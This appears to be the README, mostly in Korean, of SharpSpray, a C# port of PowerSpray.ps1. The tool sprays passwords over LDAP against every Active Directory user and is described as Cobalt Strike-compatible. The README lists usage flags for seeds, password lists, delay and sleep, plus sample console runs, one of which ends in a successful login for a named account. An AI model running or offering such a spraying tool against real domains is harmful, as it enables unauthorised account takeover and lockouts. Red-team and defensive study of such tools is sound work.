SharpSpray

이 프로젝트는 PowerSpray.ps1 스크립트의 C# 포트입니다. SharpSpray는 LDAP을 사용하여 도메인의 모든 사용자에 대해 암호 스프레이 공격을 수행하고 Cobalt Strike와 호환되는 간단한 코드 세트입니다.

https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1

기본적으로 도메인에서 UserList를 자동으로 생성합니다.

기본적으로 현재 날짜를 사용하여 PasswordList를 자동으로 생성합니다.

계정이 잠기지 않도록 주의하십시오.

SharpSpray.exe --Seeds [ A comma-separated list of passwords to as a seed to the internal list generator. Eg. Password,Welcome,Company ] --Passwords [ A comma-separated list of passwords to use instead of the internal list generator. Eg. Password1,Password19,Company19,Welcome19 ] --Delay [ The delay time between guesses in millisecounds. Eg. 300 ] --Sleep [ The number of minutes to sleep between password cycles. Eg. 15 ]

C:\Users\jnqpblc\Desktop>SharpSpray.exe --Sleep 15 [+] Successfully collected 42 usernames from Active Directory. [] The Lockout Threshold for the current domain is 10. [] The Min Password Length for the current domain is 10. [+] Successfully generated a list of 64 passwords. [] Starting password spraying operations. [] Using the default delay of 1000 milliseonds between attempts. [*] Using password Winter19 ^C

C:\Users\jnqpblc\Desktop>SharpSpray.exe --Seeds Password,Welcome,Company --Sleep 15 [+] Successfully collected 42 usernames from Active Directory. [] The Lockout Threshold for the current domain is 10. [] The Min Password Length for the current domain is 10. [+] Successfully generated a list of 42 passwords. [] Starting password spraying operations. [] Using the default delay of 1000 milliseonds between attempts. [*] Using password Password19 ^C

C:\Users\jnqpblc\Desktop>SharpSpray.exe --Passwords ItsNotWinter! --Sleep 15 --Delay 300 [+] Successfully collected 42 usernames from Active Directory. [] The Lockout Threshold for the current domain is 10. [] The Min Password Length for the current domain is 10. [+] Successfully generated a list of 1 passwords. [] Starting password spraying operations. [] Using a delay of 300 milliseonds between attempts. [] Using password ItsNotWinter! [+] Successfully authenticated with jnqpblc::ItsNotWinter! [] Completed all rounds with password ItsNotWinter! [*] Now the script will sleep for 15 minutes. ^C